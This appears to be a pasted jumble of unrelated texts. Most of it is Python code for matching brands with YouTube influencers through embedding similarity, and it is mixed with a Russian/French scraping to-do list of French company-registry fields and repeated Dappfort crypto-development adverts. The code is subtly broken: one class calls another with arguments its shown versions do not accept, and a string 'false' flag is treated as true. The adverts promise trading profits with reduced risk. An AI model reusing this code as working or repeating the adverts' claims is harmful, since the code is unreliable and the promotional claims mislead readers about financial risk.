                    # Fallback if content analyzer method not available
                    title_word_set = set()
                    title_word_count = 0
                    
                    for title in channel_videos['title']:
                        if isinstance(title, str):
                            words = re.findall(r'\b\w+\b', title.lower())
                            title_word_set.update(words)
                            title_word_count += len(words)
                    
                    title_uniqueness = len(title_word_set) / max(1, title_word_count)
                    content_originality_score = round(min(0.99, max(0.1, 0.5 + title_uniqueness * 0.4)), 2)
                
                # Calculate comment authenticity score
                if not comments.empty and 'channel_comments' in locals() and not channel_comments.empty:
                    unique_commenters = len(channel_comments['author'].unique())
                    total_comments = len(channel_comments)
                    if total_comments > 0:
                        # Calculate ratio of unique commenters to total comments
                        uniqueness_ratio = unique_commenters / total_comments
                        
                        comment_authenticity_score = round(min(0.99, max(0.1, 0.3 + uniqueness_ratio * 0.6)), 2)
                    else:
                        comment_authenticity_score = 0.5
                else:
                    comment_authenticity_score = 0.5
                
                # Get subscriber count for cost estimation
                subscriber_count = channel.get('subscriber_count', 0)
                if not isinstance(subscriber_count, (int, float)) or pd.isna(subscriber_count):
                    subscriber_count = 0
                
                # Calculate cost per post
                cost_per_post = round(self._estimate_cost_per_post(subscriber_count, engagement_rate_formatted))
                
                # Determine negotiation flexibility
                try:
                    channel_age_days = (datetime.now() - pd.to_datetime(channel['published_at'])).days
                    
                    # New channels or very active ones tend to be more flexible
                    if channel_age_days < 365 or post_frequency > 8:
                        negotiation_flexibility = "flexible"
                    # Well-established channels with high engagement tend to be strict
                    elif channel_age_days > 1825 and engagement_rate > 5:
                        negotiation_flexibility = "strict"
                    # Moderate flexibility for channels with good engagement
                    elif engagement_rate > 3:
                        negotiation_flexibility = "medium"
                    else:
                        negotiation_flexibility = "negotiable"
                except:
                    # Default if we can't calculate
                    negotiation_flexibility = "negotiable"
                
                # Calculate historical performance
                if subscriber_count > 0:
                    historical_perf = round(min(0.99, avg_views / subscriber_count), 2)
                else:
                    # Fallback based on engagement rate
                    historical_perf = round(min(0.99, max(0.01, engagement_rate_formatted * 10)), 2)
                
                # Check for controversy flags
                controversy_flag = "false"
                if 'like_count' in channel_videos.columns and 'dislike_count' in channel_videos.columns:
                    # YouTube API doesn't expose dislikes anymore, but keeping this code for future reference
                    total_likes = channel_videos['like_count'].sum()
                    total_dislikes = channel_videos['dislike_count'].sum() if 'dislike_count' in channel_videos.columns else 0
                    
                    if total_likes + total_dislikes > 0:
                        dislike_ratio = total_dislikes / (total_likes + total_dislikes)
                        if dislike_ratio > 0.25:  # More than 25% dislikes indicates controversy
                            controversy_flag = "true"
                
                # Check compliance status
                compliance_status = "verified"
                if any(channel_videos['made_for_kids'] == True) and any(title.lower().find('adult') >= 0 for title in channel_videos['title'] if isinstance(title, str)):
                    # Potential mismatch between content marking and actual content
                    compliance_status = "review_needed"
                
                # Create influencer entry
                influencer = {
                    "influencer_id": influencer_id,
                    "name": str(channel.get('title', f"Channel {channel_id}")),
                    "platform": platform,
                    "location": country_name,
                    "languages": language_name,
                    "category_niche": category_niche,
                    "follower_count": int(subscriber_count),
                    "audience_demographics": audience_type,
                    "engagement_rate": engagement_rate_formatted,
                    "audience_interests": audience_interests_str,
                    "content_types": content_types,
                    "post_frequency_month": round(post_frequency, 1),
                    "avg_views": int(avg_views),
                    "collaboration_count": collaboration_count,
                    "sponsored_ratio": round(sponsored_ratio, 2),
                    "reputation_score": reputation_score,
                    "follower_quality_score": follower_quality_score,
                    "content_originality_score": content_originality_score,
                    "comment_authenticity_score": comment_authenticity_score,
                    "cost_per_post": int(cost_per_post),
                    "negotiation_flexibility": negotiation_flexibility,
                    "historical_performance": historical_perf,
                    "controversy_flag": controversy_flag,
                    "compliance_status": compliance_status
                }
                
                influencer_data.append(influencer)
                logger.info(f"Processed influencer: {influencer['name']} ({influencer_id})")
            except Exception as e:
                logger.error(f"Error processing channel {channel.get('channel_id')}: {str(e)}")
                logger.error(traceback.format_exc())
        
        if not influencer_data:
            logger.warning("No influencer data was generated")
            # Return empty DataFrame with expected columns
            return pd.DataFrame(columns=[
                "influencer_id", "name", "platform", "location", "languages", 
                "category_niche", "follower_count", "audience_demographics",
                "engagement_rate", "audience_interests", "content_types", 
                "post_frequency_month", "avg_views", "collaboration_count",
                "sponsored_ratio", "reputation_score", "follower_quality_score",
                "content_originality_score", "comment_authenticity_score",
                "cost_per_post", "negotiation_flexibility", "historical_performance",
                "controversy_flag", "compliance_status"
            ])
        
        return pd.DataFrame(influencer_data)
    
    def _extract_content_types(self, videos_df: pd.DataFrame) -> List[str]:
       
        content_type_keywords = {
            'review': ['review', 'unboxing', 'first look', 'hands-on'],
            'tutorial': ['tutorial', 'how to', 'guide', 'tips', 'learn'],
            'gameplay': ['gameplay', 'playthrough', 'gaming', 'let\'s play'],
            'vlog': ['vlog', 'day in the life', 'follow me'],
            'interview': ['interview', 'qa', 'q&a', 'questions'],
            'reaction': ['reaction', 'reacting to', 'react'],
            'podcast': ['podcast', 'talk show', 'discussion'],
            'education': ['explained', 'educational', 'learn', 'course'],
            'lifestyle': ['lifestyle', 'routine', 'tour'],
            'recipes': ['recipe', 'cooking', 'baking', 'food'],
            'workout': ['workout', 'exercise', 'fitness', 'training']
        }
        
        content_types_count = {ct: 0 for ct in content_type_keywords}
        
       
        for _, video in videos_df.iterrows():
            title = video.get('title', '').lower() if isinstance(video.get('title'), str) else ''
            description = video.get('description', '').lower() if isinstance(video.get('description'), str) else ''
            
            for content_type, keywords in content_type_keywords.items():
                for keyword in keywords:
                    if keyword in title or keyword in description:
                        content_types_count[content_type] += 1
                        break
        
      
        top_content_types = sorted(content_types_count.items(), key=lambda x: x[1], reverse=True)
        return [ct for ct, count in top_content_types if count > 0][:3]
    
    def _estimate_cost_per_post(self, followers: int, engagement_rate: float) -> float:
        
        try:
          
            followers = int(followers) if pd.notnull(followers) else 0
            engagement_rate = float(engagement_rate) if pd.notnull(engagement_rate) else 0
            
           
            if followers < 10000:  
                base_cost = 20 + (followers / 10000) * 80
            elif followers < 100000: 
                base_cost = 100 + (followers - 10000) * (400 / 90000)
            elif followers < 500000:  
                base_cost = 500 + (followers - 100000) * (4500 / 400000)
            elif followers < 1000000: 
                base_cost = 5000 + (followers - 500000) * (5000 / 500000)
            else: 
                base_cost = 10000 + (followers - 1000000) * 0.005
            
           
            avg_engagement = 0.02 
            
            if engagement_rate > 0:
                engagement_multiplier = max(0.5, min(3.0, engagement_rate / avg_engagement))
            else:
                engagement_multiplier = 0.5
            
            return base_cost * engagement_multiplier
        except Exception as e:
            logger.error(f"Error estimating cost per post: {str(e)}")
            return 100 
import numpy as np
import pandas as pd
from sklearn.metrics.pairwise import cosine_similarity
from sklearn.preprocessing import MinMaxScaler
from typing import Dict, List, Tuple, Set
import logging
from ..models.text_embedder import TextEmbedder
from ..database.db_connector import DatabaseConnector

logger = logging.getLogger(__name__)

class SimilarityScorer:
    def __init__(self, config: Dict):
        self.config = config
        self.similarity_weights = config['similarity_weights']
        self.related_categories = {
            k: set(v) for k, v in config['category_relationships'].items()
        }
        self.related_audiences = {
            k: set(v) for k, v in config['audience_relationships'].items()
        }
        self.scaler = MinMaxScaler()
        
        # Initialize the text embedder
        self.text_embedder = TextEmbedder(
            gemini_api_key=config['text_embedding'].get('gemini_api_key'), 
            pinecone_config={
                'api_key': config.get('pinecone', {}).get('api_key', ''),
                'index_name': config.get('pinecone', {}).get('index_name', 'recommendationsystempro'),
                'namespace': config.get('pinecone', {}).get('namespace', 'influencer-matching')
            }
        )
        
        # Initialize database connector if database config exists
        self.db_connector = None
        if 'database' in self.config:
            try:
                self.db_connector = DatabaseConnector(self.config)
            except Exception as e:
                logger.warning(f"Could not initialize database connection: {str(e)}")

    def _get_related_categories(self, category: str) -> Set[str]:
        category = category.lower()
        for main_cat, related in self.related_categories.items():
            if category in related or category == main_cat:
                return related | {main_cat}
        return set()

    def _calculate_category_similarity_embedding(self, brand: pd.Series, influencer: pd.Series) -> float:
        try:
            # Extract category-related information
            brand_industry = str(brand.get('industry', '')).lower()
            brand_alignment = str(brand.get('category_alignment', '')).lower()
            influencer_niche = str(influencer.get('category_niche', '')).lower()
            
            # Combine the category data with descriptive context
            brand_category_text = f"Brand industry: {brand_industry}. Brand category alignment: {brand_alignment}"
            influencer_category_text = f"Influencer category/niche: {influencer_niche}"
            
            # Use the text embedder to get embedding vectors
            brand_embedding = self.text_embedder.get_embedding(brand_category_text)
            influencer_embedding = self.text_embedder.get_embedding(influencer_category_text)
            
            # Calculate cosine similarity between the embedding vectors
            similarity = cosine_similarity(
                brand_embedding.reshape(1, -1),
                influencer_embedding.reshape(1, -1)
            )[0][0]
            
            # Apply a power transformation to enhance differentiation between scores
            # This gives more weight to higher similarities
            adjusted_similarity = similarity ** 0.7
            
            logger.info(f"Embedding-based category similarity score: {adjusted_similarity:.2f} for {brand_industry}/{brand_alignment} -> {influencer_niche}")
            return float(adjusted_similarity)
                
        except Exception as e:
            logger.warning(f"Error using embeddings for category similarity: {str(e)}, falling back to rule-based method")
            return self._calculate_category_similarity_rule_based(brand, influencer)

    def _calculate_category_similarity_rule_based(self, brand: pd.Series, influencer: pd.Series) -> float:
        brand_categories = set(str(brand.get('industry', '')).lower().split('/'))
        brand_alignment = set(str(brand.get('category_alignment', '')).lower().split('/'))
        influencer_categories = set(str(influencer.get('category_niche', '')).lower().split('/'))
        
        expanded_brand_cats = set()
        for cat in brand_categories | brand_alignment:
            expanded_brand_cats.update(self._get_related_categories(cat))
        
        expanded_influencer_cats = set()
        for cat in influencer_categories:
            expanded_influencer_cats.update(self._get_related_categories(cat))
        
        direct_matches = len(brand_categories.intersection(influencer_categories))
        alignment_matches = len(brand_alignment.intersection(influencer_categories))
        related_matches = len(expanded_brand_cats.intersection(expanded_influencer_cats))
        
        score = (
            direct_matches * 0.6 +
            alignment_matches * 0.3 +
            related_matches * 0.1
        ) / max(len(brand_categories), 1)
        
        if direct_matches == 0 and alignment_matches == 0:
            score *= 0.2
        
        return score

    def _calculate_category_similarity(self, brand: pd.Series, influencer: pd.Series) -> float:
        # Try the embedding-based approach first, fallback to rule-based if it fails
        return self._calculate_category_similarity_embedding(brand, influencer)

    def _calculate_audience_similarity(self, brand: pd.Series, influencer: pd.Series) -> float:
        brand_audience = str(brand.get('target_audience', '')).lower()
        influencer_audience = str(influencer.get('audience_demographics', '')).lower()
        
        demographic_match = float(brand_audience in influencer_audience or 
                                influencer_audience in brand_audience)
        
        related_match = 0.0
        for main_audience, related in self.related_audiences.items():
            if (brand_audience in {a.lower() for a in related | {main_audience}} and
                influencer_audience in {a.lower() for a in related | {main_audience}}):
                related_match = 0.7
                break
        
        brand_geo = str(brand.get('geographic_target', '')).lower()
        influencer_loc = str(influencer.get('location', '')).lower()
        geo_match = float(
            brand_geo in influencer_loc or
            influencer_loc in brand_geo or
            brand_geo == 'global' or
            (brand_geo == 'north america' and influencer_loc in ['usa', 'canada'])
        )
        
        brand_lang = set(str(brand.get('language_preferences', '')).lower().split('/'))
        influencer_lang = set(str(influencer.get('languages', '')).lower().split('/'))
        lang_match = len(brand_lang.intersection(influencer_lang)) / max(len(brand_lang), 1)
        
        audience_score = max(demographic_match, related_match) * 0.5 + geo_match * 0.3 + lang_match * 0.2
        
        return audience_score

    def _safe_float(self, value, default=0.0) -> float:
        try:
            result = float(value)
            return result if result != 0 else default
        except (ValueError, TypeError):
            return default

    def _safe_division(self, numerator, denominator, default=0.0) -> float:
        num = self._safe_float(numerator)
        den = self._safe_float(denominator)
        if den == 0:
            return default
        return num / den

    def _calculate_numerical_similarity(self, brand: pd.Series, influencer: pd.Series) -> float:
        scores = []
        
        min_followers = self._safe_float(brand.get('min_follower_range'), 1.0)
        actual_followers = self._safe_float(influencer.get('follower_count'), 0.0)
        if actual_followers < min_followers:
            return 0.0
        
        follower_ratio = self._safe_division(actual_followers, min_followers, 0.0)
        scores.append(min(follower_ratio, 2.0))
        
        min_engagement = self._safe_float(brand.get('min_engagement_rate'), 0.01)
        actual_engagement = self._safe_float(influencer.get('engagement_rate'), 0.0)
        if actual_engagement < min_engagement:
            return 0.0
        
        engagement_ratio = self._safe_division(actual_engagement, min_engagement, 0.0)
        scores.append(min(engagement_ratio, 2.0))
        
        posts_per_campaign = self.config['matching']['posts_per_campaign']
        campaign_budget = self._safe_float(brand.get('campaign_budget'), 0.0)
        cost_per_post = self._safe_float(influencer.get('cost_per_post'), float('inf'))
        if cost_per_post * posts_per_campaign > campaign_budget:
            return 0.0
        
        if campaign_budget > 0 and cost_per_post < float('inf'):
            budget_ratio = campaign_budget / (cost_per_post * posts_per_campaign)
            scores.append(min(budget_ratio, 2.0))
        
        if not scores:
            return 0.0
        
        average_score = np.mean(scores)
        return min(average_score, 1.0)

    def _calculate_compliance_similarity(self, brand: pd.Series, influencer: pd.Series) -> float:
        requires_controversy_free = brand.get('requires_controversy_free', False)
        controversy_flag = influencer.get('controversy_flag', True)
        compliance_status = str(influencer.get('compliance_status', '')).lower()
        
        if requires_controversy_free and controversy_flag:
            return 0.0
        
        controversy_match = not (requires_controversy_free and controversy_flag)
        compliance_match = compliance_status == 'verified'
        
        return (float(controversy_match) + float(compliance_match)) / 2

    def calculate_similarity_matrix(self, brands_features: pd.DataFrame, 
                                 influencers_features: pd.DataFrame) -> np.ndarray:
        similarity_matrix = np.zeros((len(brands_features), len(influencers_features)))
        text_similarity_matrix = np.zeros((len(brands_features), len(influencers_features)))
        
        for i, brand in brands_features.iterrows():
            brand_text = self.text_embedder.get_brand_text_features(brand)
            for j, influencer in influencers_features.iterrows():
                influencer_text = self.text_embedder.get_influencer_text_features(influencer)
                text_similarity = self.text_embedder.calculate_text_similarity(brand_text, influencer_text)
                text_similarity_matrix[brands_features.index.get_loc(i),
                                    influencers_features.index.get_loc(j)] = text_similarity

        for i, brand in brands_features.iterrows():
            for j, influencer in influencers_features.iterrows():
                category_score = self._calculate_category_similarity(brand, influencer)
                audience_score = self._calculate_audience_similarity(brand, influencer)
                numerical_score = self._calculate_numerical_similarity(brand, influencer)
                compliance_score = self._calculate_compliance_similarity(brand, influencer)
                
                traditional_score = (
                    category_score * self.similarity_weights['category'] +
                    audience_score * self.similarity_weights['audience'] +
                    numerical_score * self.similarity_weights['numerical'] +
                    compliance_score * self.similarity_weights['compliance']
                )
                
                if numerical_score == 0.0:
                    traditional_score = 0.0
                elif category_score < 0.3:
                    traditional_score *= 0.5
                
                text_score = text_similarity_matrix[brands_features.index.get_loc(i),
                                                 influencers_features.index.get_loc(j)]
                
                final_score = 0.5 * traditional_score + 0.5 * text_score
                
                similarity_matrix[brands_features.index.get_loc(i),
                                influencers_features.index.get_loc(j)] = final_score
        
        max_score = similarity_matrix.max()
        if max_score > 0:
            similarity_matrix = similarity_matrix / max_score
            similarity_matrix = np.where(similarity_matrix > 0.95, 0.95, similarity_matrix)
        
        return similarity_matrix

    def get_top_matches(self, similarity_matrix: np.ndarray,
                       brands_df: pd.DataFrame,
                       influencers_df: pd.DataFrame) -> List[Tuple[str, str, float]]:
        matches = []
        top_n = self.config['matching']['top_n']
        min_similarity = self.config['matching']['similarity_threshold']
        
        for i, brand in brands_df.iterrows():
            brand_matches = []
            for j, influencer in influencers_df.iterrows():
                category_score = self._calculate_category_similarity(brand, influencer)
                audience_score = self._calculate_audience_similarity(brand, influencer)
                numerical_score = self._calculate_numerical_similarity(brand, influencer)
                compliance_score = self._calculate_compliance_similarity(brand, influencer)
                
                traditional_score = (
                    category_score * self.similarity_weights['category'] +
                    audience_score * self.similarity_weights['audience'] +
                    numerical_score * self.similarity_weights['numerical'] +
                    compliance_score * self.similarity_weights['compliance']
                )
                
                brand_text = self.text_embedder.get_brand_text_features(brand)
                influencer_text = self.text_embedder.get_influencer_text_features(influencer)
                text_score = self.text_embedder.calculate_text_similarity(brand_text, influencer_text)
                
                final_score = 0.5 * traditional_score + 0.5 * text_score
                
                if numerical_score == 0.0:
                    final_score = 0.0
                elif category_score < self.config['matching']['min_category_score']:
                    final_score *= self.config['matching']['category_penalty']
                
                if final_score >= min_similarity:
                    brand_matches.append((
                        brand.name,
                        influencer.name,
                        round(final_score, 3)
                    ))
            
            brand_matches.sort(key=lambda x: x[2], reverse=True)
            matches.extend(brand_matches[:top_n])
        
        return matches
    
    def save_matches_to_database(self, matches: List[Tuple[str, str, float]]) -> bool:
        if not self.db_connector:
            logger.error("Database connector not available. Cannot save matches.")
            return False
        
        try:
            match_data = []
            for brand_id, influencer_id, score in matches:
                match_data.append({
                    'brand_id': brand_id,
                    'influencer_id': influencer_id,
                    'similarity_score': score
                })
            
            self.db_connector.execute_query("""
            CREATE TABLE IF NOT EXISTS matches (
                id INT AUTO_INCREMENT PRIMARY KEY,
                brand_id VARCHAR(50),
                influencer_id VARCHAR(50),
                similarity_score FLOAT,
                created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP
            )
            """)
            
            self.db_connector.insert_matches(match_data)
            
            logger.info(f"Saved {len(matches)} matches to database")
            return True
        except Exception as e:
            logger.error(f"Error saving matches to database: {str(e)}")
            return False
Задачи:
1) изучить bs4, yaml
2) поставить yaml в bs4
--------------
Scrapping:
===========================
Identite
===========================
Dénomination - Название патента
SIREN (siège)
Date d'immatriculation au RNE
Début d’activité
(+-)Date de la première clôture
(*)Nature de l'entreprise
(*)Forme juridique
Date de fin de la personne morale
Date de clôture
Forme juridique
Activité principale
Code APE
Capital social
Adresse du siège
(+-)Complément de localisation/Distribution spéciale
===========================
Représentants
=========================
Nom, Prénom(s)
(+-)Nom d'usage
Qualité
Date de naissance (mm/aaaa)
Commune de résidence
=======================
Établissements
====================
Type d'établissement
Date début d’activité
Siret
(+-)Nom commercial
(+-)Enseigne
Code APE
Origine du fonds
Nature de l'établissement
Activité principale
Autres Activités
Adresse
==================
Observations
==================
Numéro d'observation
Date d'ajout
Description
Dappfort specializes in BRC20 wallet development, providing businesses with a secure, scalable, and budget-friendly solution for managing BRC-20 tokens. Our development process focuses on optimizing costs while ensuring high security, seamless user experience, and robust functionality.

Key Features:

Affordable Development – Cost-effective solutions tailored to your business needs. 
Secure Asset Management – Advanced encryption and multi-signature security. 
Seamless Transactions – Fast and efficient token transfers on the Bitcoin blockchain. 
User-Friendly Interface – Intuitive design for hassle-free access. 
Scalability & Customization – Adaptable to evolving market demands.

At Dappfort, we ensure your BRC20 wallet is built with cutting-edge technology while keeping development costs under control.

Get in touch to develop a cost-effective BRC20 wallet today!

Instant Reach Experts: 
Visit us : https://www.dappfort.com/cryptocurrency-wallet-development-company/ 
Contact : +91 8838534884 
Mail : sales@dappfort.com
import pandas as pd
import numpy as np
from typing import List, Dict, Tuple
from sentence_transformers import SentenceTransformer
from sentence_transformers.util import cos_sim
import logging


logging.basicConfig(
    level=logging.INFO,
    format='%(asctime)s - %(levelname)s - %(message)s',
    datefmt='%Y-%m-%d %H:%M:%S'
)
logger = logging.getLogger(__name__)

class TextEmbedder:
    def __init__(self, api_key: str = None):
        """
        Initialize TextEmbedder with a sentence-transformer model.
        The api_key parameter is kept for backward compatibility but is not used.
        """
        # Load the sentence transformer model (api_key is not needed, kept for compatibility)
        try:
            # Using thenlper/gte-large model as specified
            self.model = SentenceTransformer('thenlper/gte-large')
            logger.info("Successfully loaded sentence-transformers model: thenlper/gte-large")
        except Exception as e:
            logger.error(f"Error loading sentence-transformers model: {str(e)}")
            raise
        
    def _combine_text_features(self, row: pd.Series, text_columns: List[str]) -> str:
        """
        Combine multiple text columns from a series into a single text feature.
        """
        text_values = []
        for col in text_columns:
            if col in row and pd.notna(row[col]):
                text_values.append(f"{col}: {str(row[col])}")
        return " | ".join(text_values)
    
    def get_brand_text_features(self, brand: pd.Series) -> str:
        """
        Extract relevant text features from brand data.
        """
        text_columns = [
            'industry',
            'target_audience',
            'brand_messaging',
            'tone_voice',
            'category_alignment',
            'brand_alignment_keywords',
            'content_type'
        ]
        return self._combine_text_features(brand, text_columns)
    
    def get_influencer_text_features(self, influencer: pd.Series) -> str:
        """
        Extract relevant text features from influencer data.
        """
        text_columns = [
            'category_niche',
            'audience_demographics',
            'audience_interests',
            'content_types'
        ]
        return self._combine_text_features(influencer, text_columns)
    
    def get_embedding(self, text: str) -> np.ndarray:
        """
        Generate embeddings for a text using thenlper/gte-large model.
        """
        try:
            if not text or text.isspace():
                # Return zero vector if text is empty or only whitespace
                return np.zeros(self.model.get_sentence_embedding_dimension())
                
            # Get embedding from sentence-transformers
            embedding = self.model.encode(text)
            return embedding
        except Exception as e:
            logger.error(f"Error getting embedding: {str(e)}")
            # Return zero vector with the correct dimensions for the model
            return np.zeros(self.model.get_sentence_embedding_dimension())
            
    def calculate_text_similarity(self, brand_text: str, influencer_text: str) -> float:
        """
        Calculate cosine similarity between brand and influencer text using cos_sim.
        """
        if not brand_text or not influencer_text:
            logger.warning("Empty text provided for similarity calculation")
            return 0.0
            
        brand_embedding = self.get_embedding(brand_text)
        influencer_embedding = self.get_embedding(influencer_text)
        
        # Using cos_sim from sentence_transformers.util
        similarity = cos_sim(
            brand_embedding.reshape(1, -1),
            influencer_embedding.reshape(1, -1)
        )[0][0].item()  # Extract the float value from the tensor
        
        return float(similarity)

    def print_detailed_match_analysis(self, brand: pd.Series, influencer: pd.Series, similarity_score: float):
        """
        Print detailed analysis of the match between a brand and influencer.
        """
        print("\n" + "="*80)
      
        print("Brand Details:")
        print(f"  ID: {brand.name}") 
        print(f"  Name: {brand.get('name', 'Unknown Brand')}")
        
        print("\nInfluencer Details:")
        print(f"  ID: {influencer.name}") 
        print(f"  Name: {influencer.get('name', 'Unknown Influencer')}")
        print("-"*80)
        
        print("\nBrand Text Features:")
        brand_text = self.get_brand_text_features(brand)
        for feature in brand_text.split(" | "):
            print(f"  - {feature}")
            
        print("\nInfluencer Text Features:")
        influencer_text = self.get_influencer_text_features(influencer)
        for feature in influencer_text.split(" | "):
            print(f"  - {feature}")
            
        print("\nText Similarity Analysis:")
        print(f"  Score: {similarity_score:.4f}")
        
        print("\nScore Interpretation:")
        if similarity_score >= 0.8:
            print("  Excellent Match (≥0.8):")
            print("  - Very strong text similarity")
            print("  - High potential for successful collaboration")
            print("  - Strong alignment in multiple areas")
        elif similarity_score >= 0.6:
            print("  Good Match (≥0.6):")
            print("  - Significant text similarity")
            print("  - Good potential for collaboration")
            print("  - Notable alignment in key areas")
        elif similarity_score >= 0.4:
            print("  Moderate Match (≥0.4):")
            print("  - Some text similarity")
            print("  - Potential for collaboration with careful consideration")
            print("  - Partial alignment in some areas")
        else:
            print("  Weak Match (<0.4):")
            print("  - Limited text similarity")
            print("  - May need to reconsider match")
            print("  - Limited alignment in key areas")
        
        print("="*80)

    def get_text_similarity_matrix(self, brands_df: pd.DataFrame, 
                                 influencers_df: pd.DataFrame) -> np.ndarray:
        """
        Calculate text similarity matrix between all brands and influencers.
        """
        similarity_matrix = np.zeros((len(brands_df), len(influencers_df)))
        
        print("\nCalculating Text Similarity Scores:")
        print("="*80)
        
        all_scores = []
        
        total_comparisons = len(brands_df) * len(influencers_df)
        completed = 0
        
        for i, brand in brands_df.iterrows():
            brand_text = self.get_brand_text_features(brand)
            
            for j, influencer in influencers_df.iterrows():
                influencer_text = self.get_influencer_text_features(influencer)
                
                similarity = self.calculate_text_similarity(brand_text, influencer_text)
                similarity_matrix[brands_df.index.get_loc(i),
                                influencers_df.index.get_loc(j)] = similarity
                
                all_scores.append({
                    'brand_id': brand.name, 
                    'brand_name': brand.get('name', 'Unknown Brand'),
                    'influencer_id': influencer.name,
                    'influencer_name': influencer.get('name', 'Unknown Influencer'),
                    'similarity_score': similarity
                })
                
                self.print_detailed_match_analysis(brand, influencer, similarity)
                
                completed += 1
                if completed % 10 == 0 or completed == total_comparisons:
                    logger.info(f"Progress: {completed}/{total_comparisons} comparisons ({(completed/total_comparisons)*100:.1f}%)")
        
        scores_df = pd.DataFrame(all_scores)
        scores_df = scores_df.sort_values('similarity_score', ascending=False)
        
        print("\nTop 10 Text Similarity Matches:")
        print("="*80)
        print(scores_df[['brand_id', 'brand_name', 'influencer_id', 'influencer_name', 'similarity_score']].head(10).to_string(index=False))
        print("="*80)
        
        return similarity_matrix

    def save_similarity_scores(self, brands_df: pd.DataFrame, 
                             influencers_df: pd.DataFrame,
                             output_path: str):
        """
        Calculate and save all similarity scores to a CSV file.
        """
        all_scores = []
        total_comparisons = len(brands_df) * len(influencers_df)
        completed = 0
        
        logger.info(f"Starting to calculate similarity scores for {total_comparisons} brand-influencer pairs")
        
        for i, brand in brands_df.iterrows():
            brand_text = self.get_brand_text_features(brand)
            
            for j, influencer in influencers_df.iterrows():
                influencer_text = self.get_influencer_text_features(influencer)
                similarity = self.calculate_text_similarity(brand_text, influencer_text)
                
                all_scores.append({
                    'brand_id': brand.name,
                    'brand_name': brand.get('name', 'Unknown Brand'),
                    'influencer_id': influencer.name,
                    'influencer_name': influencer.get('name', 'Unknown Influencer'),
                    'similarity_score': similarity,
                    'brand_text': brand_text,
                    'influencer_text': influencer_text
                })
                
                completed += 1
                if completed % 20 == 0 or completed == total_comparisons:
                    logger.info(f"Progress: {completed}/{total_comparisons} ({(completed/total_comparisons)*100:.1f}%)")
        
        scores_df = pd.DataFrame(all_scores)
        scores_df = scores_df.sort_values('similarity_score', ascending=False)
        scores_df.to_csv(output_path, index=False)
        logger.info(f"Saved detailed similarity scores to {output_path}")
DappFort delivers world-class P2P crypto exchange development, helping businesses enter the digital asset market with confidence. Our platforms feature advanced matching engines, dispute resolution, and AI-driven analytics for seamless trading. With multi-currency and multi-payment support, we enhance user accessibility. Get started today and dominate the crypto exchange industry!

Instant Reach Experts: 
Visit us : https://www.dappfort.com/cryptocurrency-exchange-development-company/
Contact : +91 8838534884 
Mail : sales@dappfort.com
Maximize your crypto gains with Dappfort high-performance Crypto Trading Bot Development services. Our bots integrate with major exchanges, use AI-driven strategies, and provide real-time analytics. Trade smarter, faster, and with reduced risks. Let’s build your profit-generating trading bot now!

Instant Reach Experts:

Contact : +91 8838534884 
Mail : sales@dappfort.com
Transform your trading experience with our powerful Algo Trading Software Development solutions. Our AI-powered algorithms analyze market trends, execute trades with precision, and minimize risks. Whether for crypto, forex, or stocks, we deliver high-performance automation. Boost your profits with algorithmic trading—get started now!
  
Visit us : https://www.dappfort.com/blog/algo-trading-software-development/   

Instant Reach Experts:

Contact : +91 8838534884 
Mail : sales@dappfort.com
import pandas as pd
import numpy as np
from typing import List, Dict, Tuple
from sklearn.metrics.pairwise import cosine_similarity
from sentence_transformers import SentenceTransformer
import logging


logging.basicConfig(
    level=logging.INFO,
    format='%(asctime)s - %(levelname)s - %(message)s',
    datefmt='%Y-%m-%d %H:%M:%S'
)
logger = logging.getLogger(__name__)

class TextEmbedder:
    def __init__(self, api_key: str = None):
        """
        Initialize TextEmbedder with a sentence-transformer model.
        The api_key parameter is kept for backward compatibility but is not used.
        """
        # Load the sentence transformer model (api_key is not needed, kept for compatibility)
        try:
            # all-MiniLM-L6-v2 is a good balance of speed and performance
            self.model = SentenceTransformer('all-MiniLM-L6-v2')
            logger.info("Successfully loaded sentence-transformers model: all-MiniLM-L6-v2")
        except Exception as e:
            logger.error(f"Error loading sentence-transformers model: {str(e)}")
            raise
        
    def _combine_text_features(self, row: pd.Series, text_columns: List[str]) -> str:
        """
        Combine multiple text columns from a series into a single text feature.
        """
        text_values = []
        for col in text_columns:
            if col in row and pd.notna(row[col]):
                text_values.append(f"{col}: {str(row[col])}")
        return " | ".join(text_values)
    
    def get_brand_text_features(self, brand: pd.Series) -> str:
        """
        Extract relevant text features from brand data.
        """
        text_columns = [
            'industry',
            'target_audience',
            'brand_messaging',
            'tone_voice',
            'category_alignment',
            'brand_alignment_keywords',
            'content_type'
        ]
        return self._combine_text_features(brand, text_columns)
    
    def get_influencer_text_features(self, influencer: pd.Series) -> str:
        """
        Extract relevant text features from influencer data.
        """
        text_columns = [
            'category_niche',
            'audience_demographics',
            'audience_interests',
            'content_types'
        ]
        return self._combine_text_features(influencer, text_columns)
    
    def get_embedding(self, text: str) -> np.ndarray:
        """
        Generate embeddings for a text using sentence-transformers.
        """
        try:
            if not text or text.isspace():
                # Return zero vector if text is empty or only whitespace
                return np.zeros(self.model.get_sentence_embedding_dimension())
                
            # Get embedding from sentence-transformers
            embedding = self.model.encode(text)
            return embedding
        except Exception as e:
            logger.error(f"Error getting embedding: {str(e)}")
            # Return zero vector with the correct dimensions for the model
            return np.zeros(self.model.get_sentence_embedding_dimension())
            
    def calculate_text_similarity(self, brand_text: str, influencer_text: str) -> float:
        """
        Calculate cosine similarity between brand and influencer text.
        """
        if not brand_text or not influencer_text:
            logger.warning("Empty text provided for similarity calculation")
            return 0.0
            
        brand_embedding = self.get_embedding(brand_text)
        influencer_embedding = self.get_embedding(influencer_text)
        
        similarity = cosine_similarity(
            brand_embedding.reshape(1, -1),
            influencer_embedding.reshape(1, -1)
        )[0][0]
        
        return float(similarity)

    def print_detailed_match_analysis(self, brand: pd.Series, influencer: pd.Series, similarity_score: float):
        """
        Print detailed analysis of the match between a brand and influencer.
        """
        print("\n" + "="*80)
      
        print("Brand Details:")
        print(f"  ID: {brand.name}") 
        print(f"  Name: {brand.get('name', 'Unknown Brand')}")
        
        print("\nInfluencer Details:")
        print(f"  ID: {influencer.name}") 
        print(f"  Name: {influencer.get('name', 'Unknown Influencer')}")
        print("-"*80)
        
        print("\nBrand Text Features:")
        brand_text = self.get_brand_text_features(brand)
        for feature in brand_text.split(" | "):
            print(f"  - {feature}")
            
        print("\nInfluencer Text Features:")
        influencer_text = self.get_influencer_text_features(influencer)
        for feature in influencer_text.split(" | "):
            print(f"  - {feature}")
            
        print("\nText Similarity Analysis:")
        print(f"  Score: {similarity_score:.4f}")
        
        print("\nScore Interpretation:")
        if similarity_score >= 0.8:
            print("  Excellent Match (≥0.8):")
